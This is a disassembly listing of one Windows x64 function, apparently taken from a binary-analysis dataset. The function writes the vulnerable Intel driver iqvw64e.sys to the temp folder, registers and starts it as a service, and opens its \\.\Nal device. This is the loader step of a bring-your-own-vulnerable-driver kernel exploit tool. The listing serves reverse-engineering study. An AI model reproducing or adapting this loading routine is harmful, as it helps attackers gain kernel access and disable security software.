Function at 0x180017410
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x18036d060]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor ebx, ebx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], bl
lea r8d, [rbx + 0x1d]
lea rdx, str.____Loading_vulnerable_driver
lea rcx, [rsp + 0x68]
call fcn.1800052d0
lea rcx, [rsp + 0x68]
call fcn.180005250
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xe0]
call fcn.180211600
lea rdx, [rbp + 0xe0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1800177de
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], bl
lea rax, [rbp + 0xe0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1800174c0
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x68]
call fcn.1800052d0
nop
mov r8d, 1
lea rdx, [0x180312514]
lea rcx, [rsp + 0x68]
call fcn.180005430
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.iqvw64e.sys
lea rcx, [rbp - 0x78]
call fcn.180005430
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp - 0x78]
call fcn.180005250
nop
lea rcx, [rsp + 0x68]
call fcn.180005250
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rcx, qword [rbp - 0x58]
call fcn.1802233d0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x30]
call fcn.180211600
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov r8d, 0x22
lea rcx, [rbp - 0x30]
call fcn.180003350
nop
mov r8d, 0x8708
lea rdx, [0x180304e80]
lea rcx, [rbp - 0x30]
call fcn.180003470
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp - 0x28]
test byte [rdx + rax + 0x10], 6
je 0x1800176ad
call fcn.180005020
test rax, rax
jne 0x18001760d
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r9, [rbp - 0x30]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002bc0
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call fcn.180004130
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x78], rax
lea rcx, [rbp + 0x78]
call fcn.180077d10
nop
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov r8d, 0x2b
lea rdx, str.____Failed_to_create_vulnerable_driver_file
lea rcx, [rsp + 0x40]
call fcn.1800052d0
lea rcx, [rsp + 0x40]
call fcn.180005250
jmp 0x1800177d0
call fcn.180005020
test rax, rax
jne 0x1800176e4
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r9, [rbp - 0x30]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002bc0
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call fcn.180004130
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x78], rax
lea rcx, [rbp + 0x78]
call fcn.180077d10
nop
lea rcx, [rbp - 0x58]
call fcn.18001cd80
test al, al
jne 0x1800177a0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], al
mov r8d, 0x42
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
lea rcx, [rsp + 0x40]
call fcn.1800052d0
lea rcx, [rsp + 0x40]
call fcn.180005250
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rcx, qword [rbp - 0x58]
call fcn.1802233d0
jmp 0x1800177d0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
lea rcx, [rbp - 0x58]
call fcn.180005250
mov rax, rbx
jmp 0x180017813
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], bl
mov r8d, 0x1b
lea rdx, str.____Failed_to_get_temp_path
lea rcx, [rsp + 0x40]
call fcn.1800052d0
lea rcx, [rsp + 0x40]
call fcn.180005250
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.18007b140
mov rbx, qword [rsp + 0x310]
add rsp, 0x300
pop rbp
ret